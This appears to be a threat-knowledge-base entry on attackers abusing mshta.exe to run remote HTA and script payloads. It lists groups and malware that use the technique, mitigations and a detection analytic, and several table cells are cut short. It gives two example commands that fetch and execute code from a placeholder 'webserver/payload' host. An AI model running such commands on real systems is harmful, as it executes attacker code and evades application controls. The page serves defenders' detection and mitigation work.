Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code [1] [2] [3] [4] [5]
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. [6] HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. [7]
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. [8]
| ID | Name | Description |
|---|---|---|
| G0016 | APT29 |
APT29 has use |
| G0050 | APT32 | |
| G0082 | APT38 |
APT38 has used a renamed version of |
| S0414 | BabyShark |
BabyShark has used mshta.exe to download and execute applications from a remote server.[13] |
| C0015 | C0015 |
During C0015, the threat actors used |
| G0142 | Confucius |
Confucius has used mshta.exe to execute malicious VBScript.[15] |
| S1155 | Covenant |
Covenant can create HTA files to install Grunt listeners.[16] |
| G1006 | Earth Lusca |
Earth Lusca has used |
| G0046 | FIN7 |
FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.[5] |
| G0047 | Gamaredon Group |
Gamaredon Group has used |
| G0100 | Inception |
Inception has used malicious HTA files to drop and execute malware.[22] |
| G0094 | Kimsuky |
Kimsuky has used mshta.exe to run malicious scripts on the system.[23][13][24][25] |
| S0250 | Koadic |
Koadic can use mshta to serve additional payloads and to help schedule tasks for persistence.[26][27] |
| G0032 | Lazarus Group |
Lazarus Group has used |
| G0140 | LazyScripter |
LazyScripter has used |
| S1213 | Lumma Stealer |
Lumma Stealer has used mshta.exe to execute additional content.[30][31] |
| S0455 | Metamorfo | |
| G0069 | MuddyWater |
MuddyWater has used mshta.exe to execute its POWERSTATS payload and to pass a PowerShell one-liner for execution.[33][34] |
| G0129 | Mustang Panda |
Mustang Panda has used mshta.exe to launch collection scripts.[35] |
| S0228 | NanHaiShu | |
| C0016 | Operation Dust Storm |
During Operation Dust Storm, the threat actors executed JavaScript code via |
| S0223 | POWERSTATS |
POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.[33] |
| S0147 | Pteranodon |
Pteranodon can use mshta.exe to execute an HTA file hosted on a remote server.[18] |
| S0379 | Revenge RAT |
Revenge RAT uses mshta.exe to run malicious scripts on the system.[37] |
| S0589 | Sibot | |
| G1008 | SideCopy |
SideCopy has utilized |
| G0121 | Sidewinder |
Sidewinder has used |
| G1018 | TA2541 | |
| G0127 | TA551 | |
| S0341 | Xbash |
| ID | Mitigation | Description |
|---|---|---|
| M1042 | Disable or Remove Feature or Program |
Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. |
| M1038 | Execution Prevention |
Use application control configured to block execution of |
| ID | Name | Analytic ID | Analytic Description |
|---|---|---|---|
| DET0506 | Detecting Mshta-based Proxy Execution via Suspicious HTA or Script Invocation | AN1397 |
Detection of mshta.exe execution where command-line arguments reference remote or local HTA/script content (VBScript/JScript) followed by subsequent file creation, network retrieval, or process spawning that indicates payload execution outside standard Internet Explorer security context. Correlation includes parent process lineage, command-line inspection, and network connection creation to untrusted or anomalous endpoints. |